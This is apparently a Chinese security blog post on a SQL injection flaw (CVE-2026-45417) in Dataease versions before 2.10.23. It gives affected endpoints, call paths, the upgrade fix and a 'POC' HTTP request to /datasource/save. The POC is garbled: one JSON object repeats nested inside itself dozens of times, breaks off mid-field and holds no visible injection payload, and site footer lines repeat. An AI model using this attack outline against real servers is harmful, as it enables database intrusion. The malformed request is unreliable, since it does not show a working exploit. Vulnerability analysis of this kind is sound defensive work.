Dataease SQL注入漏洞(CVE-2026-45417)分析与POC

SQL注入漏洞总结 漏洞概述 漏洞名称: SQL injection vulnerability CVE ID: CVE-2026-45417 严重程度: High 发布日期: May 28 受影响版本: < 2.10.23 修复版本: 2.10.23 影响范围 包: io.dataease (Maven) 影响路径: - 路径1: Call Stack (No echo / Blind injection scenario) - POST /datasource/validate - validate() - checkDataSourceStatus() - checkStatus() - getTablesSql() - SQL injection execution - 路径2: Call Stack (With echo, results visible directly) - POST /datasource/save - checkDataSourceStatus() - checkStatus() - getTablesSql() - POST /datasource/getTables - CalciteProvider.getTables() 修复方案 推荐操作: 升级到版本2.10.23或更高版本。 POC代码 ```http POST /datasource/save HTTP/1.1 Host: x:8100 Referer: http://x:8100/ Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 Origin: http://x:8100 X-DE-TOKEN: eyJ0XA0U12WQ1lCJ0J6U21N1J9.eyJkaWJlYjE5MjI0MjI2NwJ0vZwK615K1t1Q_KKRI9M3612240M9P Accept-Language: zh-CN Accept: application/json, text/plain, / Content-Length: 787 {"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConf

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

Dataease SQL注入漏洞(CVE-2026-45417)分析与POC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

Dataease SQL注入漏洞(CVE-2026-45417)分析与POC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！